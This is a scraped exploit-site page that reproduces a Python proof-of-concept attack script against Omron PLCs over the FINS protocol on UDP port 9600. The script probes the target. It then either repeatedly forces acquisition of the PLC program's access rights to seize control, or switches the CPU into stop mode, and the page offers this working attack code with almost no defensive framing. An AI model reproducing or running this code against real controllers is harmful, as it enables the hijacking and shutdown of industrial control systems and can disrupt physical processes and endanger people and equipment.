Registeromron plc 1.0.0 denial of service (poc)
▸▸▸ Exploit & Vulnerability >> dos exploit & hardware vulnerability
Online Vulnerability Scanner Tools
Code...
# Exploit Title: Omron PLC 1.0.0 - Denial of Service (PoC) # Google Dork: n/a # Date: 2019-12-06 # Exploit Author: n0b0dy # Vendor Homepage: https://automation.omron.com, ia.omron.com # Software Link: n/a # Version: 1.0.0 # Tested on: PLC f/w rev.: CJ2M (v2.01) # CWE-412 : Unrestricted Externally Accessible Lock # CVE : n/a #!usr/bin/python ###################################################################################################### # # # `-:+oyhdmmNNNNNNNNmdhyso/:. # # -/shmNmhyo+/:-..`````..--:/oshdNNdyo:. # # `:ohNmho/-` .:+ydNmy+. # # .+hNms/. `:ohNms:` # # .+dNh+. `/ymNy: # # :yNd+. `/yNmo. # # `/dNy-` .+mNy- # # +mmo. `/dNy- # # :dNo` ``........--.......``` `/dNs. # # .yNy. .- ``....```....``..``....```...`` `-` `+Nm/ # # /mm: ./ymy. `...`` `..` `` .` `` `..` `...` +mho:` .yMh. # # `sNy. `.`/hNMNo` `..` `.` .` .` `` `.. `...` -dMNmo... `+Nm: # # `yNo` -yy-sMMMh- ......```.` .` .` `` .-...`` `..` `+NMMm:+h+` :mN/ # # `hN/ +Nm.sMMh/: `.. `.....```..` `//+yy+.``.``...`..` `.. ./oNMm-oMh. -dN+ # # `hN+ `/MMo:Nh:/h- `..` .. `..```oMy.:NMd```. .. `.` ys:omh.NMh` .mM/ # # yM+ `o-hMN.:+sdm/ `-. .. .` ./-./NNo .` .. `.` .hmy+/`sMM-o- -mN: # # +My .dd`mMy/hNmo. `-````` `. `- :ho. `. .. ````.. `/hNmo/NM//N/ :Mm` # # .mm. sMd`mMmNd+/` `-` ``..-.``` .. +. .` ``.-...`` .. :/yNNNM/:MN` sMs # # yM+ `mMm`mMm+-ss `-` ..```.....-....```-o+.```...-.....```.-` .` -h/:yMM/+MM/ .mN- # # .Nm` `NMN`yo/yNd. .. -` `-```````yNm-```````. `-` `. oNd++h:sMM+ oMy # # +Mo `.NMM.:hNMd. `-` `. .- `:- `- .. .` `oNMmo`yMM+. .NN` # # hN- y:hMMoNMmo. .. .` .. .` - `- `. /hMMydMM-h. dM/ # # .mm`-No-NMMMy-o: .. .` .. .://-` ` -` `-` - y-+mMMMy.Ns sMs # # :Nd :Mm.oMMo.sN. ..`````````-`````````..`./s` :smds: :s:``-`````````-.`````````-` ym--NMm.sMh +Mh # # +Mh -NMy`hd-hMd` ..`````````-```````.-/+smMy -my` `dNho/.````````-``````````- /Mm/+N:-NMs /Mh # # /Nh hMM/-/hMM/ .. .` `+yhdmmNMMMM. .so` yMMMNmhyso+/.`-` `- `mMN/+.dMM- /Mh # # -Nd` -NMm-+MMh. `. .` oMMMMMMMMMMN` `hy yMMMMMMMMMMMd.- `. `/MMd`yMMy oMy # # `mN.`.oNMhyMN-o/ -` `.`mMMMMMMMMMMM- -NN. `dMMMMMMMMMMMM/. .` `y`hMNoMMh.- yMo # # yM:.h./mMMMs dm` `. .+MMMMMMMMMMMMo /MM/ :NMMMMMMMMMMMMs` `. oN--NMMNy.+o`mM- # # /My`dd/-yNM:.NM+ .. ``.hMMMMMMMMMMMMN- oMMo `hMMMMMMMMMMMMMh.` `.` `mMo`dMm/-yN/:Mm` # # `mN./MMh-/d/+MMs .` ``````.NMMMMMMMMMMMMMm- sMMs oMMMMMMMMMMMMMMm.````` `.` -NMd`ds-omMh`hMo # # +Ms oNMNo--sMMh`- ..` oMMMMMMMMMMMMMMMm:yMMhoMMMMMMMMMMMMMMMN- `..` `-:MMN.:/dMMd.:Nm. # # `hN: /NMMm/+MMm`h+ .. mMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMo `.` -h-oMMd-yMMMy.`dM/ # # -Nm. +yNMMdNMN-/Ms` `.` -MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh .. :mh`hMMdNMNdo- sMy # # /Nh`:y+odNMMMo`mMy ..`/MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm``.` :NM/.NMMMmy+os`oMd. # # +Mh`+Nh//odNm`oMM+ `.sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN.` .mMN`oNmy+/smh`+Mm. # # +Nh./mMNho++-.mMN/-/` hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM- `-:.dMMo`+++ymMNs.oNd- # # /Nd-.omMMMmy+/dMN//ds-hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM//hy-dMNs:sdMMMNh:`sMh. # # -dN+``/ymNMMNdmMMo/mNdNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMs:mMNdmMMNmh+. -dMs` # # `yNy. /o+/oyhmmNNy:hNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm//mNNmdys+/+o.`oNm/ # # :mNo`:dmdyo////+:./yNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdo--+//:/+shmmo.:dNy. # # `+mm+.:smNMMMMMMMMNNNNmmMMMMMMMMMMMMMMMMMMMMMMMMMMNhmNNNNMMMMMMMMMNh+.:hNh- # # `oNmo.`.+ooooo+//:--:yMMMMMMMMMMMMMMMMMMMMMMMMMMmo/--::/++ooooo:``/hNd: # # `+mNs:.+yso++oshmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdys+++oys:.odNh: # # :yNdo-/sdNNMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdmNNMMNNmy+:/hNmo. # # `+hNds:``...`/MMMMMMMMMMMMMMMMMMMMMMMMMMMM: `....`-ohNms: # # `/ymNds/.`sMMMMMMMMMMMMMMMMMMMMMMMMMMMM+ `:ohNNdo- # # ./sdNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdhmNNho:` # # `-/oydNMMMMMMMMMMMMMMMMMMMMMMmhy+:. # # `.://+osyyyyyyso+/:-. # # # # # # Exploit Title: Omron PLC: Denial-of-Service as a Feature # # Google Dork: n/a # # Date: 2019.12.06 # # Exploit Author: n0b0dy # # Vendor Homepage: https://automation.omron.com, ia.omron.com # # Software Link: n/a # # Version: 1.0.0 # # Tested on: PLC f/w rev.: CJ2M (v2.01) # # CWE-412 : Unrestricted Externally Accessible Lock # # CVE : n/a # # # ####################################################################################################### import sys, signal, socket, time, binascii nic = socket.gethostbyname(socket.gethostname()) #will fail if hostname = 'hostname' if len(sys.argv) < 2: print "Usage: fins.dos.py [arg.] {target ip} {target port[9600]}" print "--pwn Hijack control of PLC program." print "--stop Stop PLC CPU." else: ip = sys.argv[2] try: port = sys.argv[3] except: port = 9600 def ip_validate(ip): a = ip.split('.') if len(a) != 4: return False for x in a: if not x.isdigit(): return False i = int(x) if i < 0 or i > 255: return False return True #fins header icf = '\x80' #info control field (flags); 80=resp req, 81=resp not req rsv = '\x00' #reserved gct = '\x02' #gateway count dna = '\x00' #dest net addr idnn = ip[-1:] #dest node no (last digit of target ip) dnn_i = '0' + idnn dnn = binascii.a2b_hex(dnn_i) dua = '\x00' #dest unit addr sna = '\x00' #source net addr isnn = nic[-1:] #source node no (last digit of own ip) snn_i = '0' + isnn snn = binascii.a2b_hex(snn_i) sua = '\x00' #source unit addr sid = '\x7a' #service ID fins_hdr = icf + rsv + gct + dna + dnn + dua + sna + snn + sua + sid #FINS command acceptance code fins_ok = '\x00' #Verify PLC type CmdMRst1 = binascii.a2b_hex("05") CmdSRst1 = binascii.a2b_hex("01") Cmdst1 =\ fins_hdr + CmdMRst1 + CmdSRst1 + '\x00' print "Probing PLC... " + '\t' s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s1.sendto(Cmdst1, (ip, port)) print "Finished." + '\r\n' s1fins_resp = s1.recvfrom(1024) s1fins_resp_b = bytes(s1fins_resp[0]) if s1fins_resp_b[12] == fins_ok and s1fins_resp_b[13] == fins_ok: print "FINS target is exploitable: " print s1fins_resp_b[14:39] else: print "FINS target not exploitable." print "FINS response from target: ", s1fins_resp if sys.argv[1] == "--pwn": #access right forced acquire PgmNo = '\xff' CmdMRst2 = binascii.a2b_hex("0c") CmdSRst2 = binascii.a2b_hex("02") Cmdst2 =\ fins_hdr + CmdMRst2 + CmdSRst2 + PgmNo + PgmNo reqdly = 1 persist = 1 pwnage = 0 print "Obtaining control of PLC program..." + '\r\n' while persist == 1: try: s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) time.sleep(reqdly) s2.sendto(Cmdst2, (ip, port)) s2fins_resp = s2.recvfrom(1024) s2fins_resp_b = bytes(s2fins_resp[0]) if s2fins_resp_b[12] == fins_ok and s2fins_resp_b[13] == fins_ok: pwnage += 1 pwntime = str(pwnage) sys.stdout.write('\r' + "Pwnage in progress! " + "duration: " + pwntime + " sec.") sys.stdout.flush() else: print "Attack unsuccessful. ", '\r\n' print "FINS error code: ", s2fins_resp except socket.error as e: print socket.error s2.close() except KeyboardInterrupt: persist = 0 print '\r', " Attack interrupted by user." s2.close() elif sys.argv[1] == "--stop": #change OP Mode CmdMRst3 = binascii.a2b_hex("04") CmdSRst3 = binascii.a2b_hex("02") Cmdst3 =\ fins_hdr + CmdMRst3 + CmdSRst3 print "Stopping PLC (just for fun)... " + '\t' s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s3.sendto(Cmdst3, (ip, port)) print "Finished. " s3fins_resp = s3.recvfrom(1024) s3fins_resp_b = bytes(s3fins_resp[0]) if s3fins_resp_b[12] == fins_ok and s3fins_resp_b[13] == fins_ok: print "PLC CPU STOP mode confirmed. " else: print "Attack unsuccessful. ", '\r\n' print "FINS response from target: ", s3fins_resp
Omron plc 1.0.0 denial of service (poc) Vulnerability / Exploit Source : Omron plc 1.0.0 denial of service (poc)
Last Vulnerability or Exploits
Easy integrations and simple setup help you start scanning in just some minutes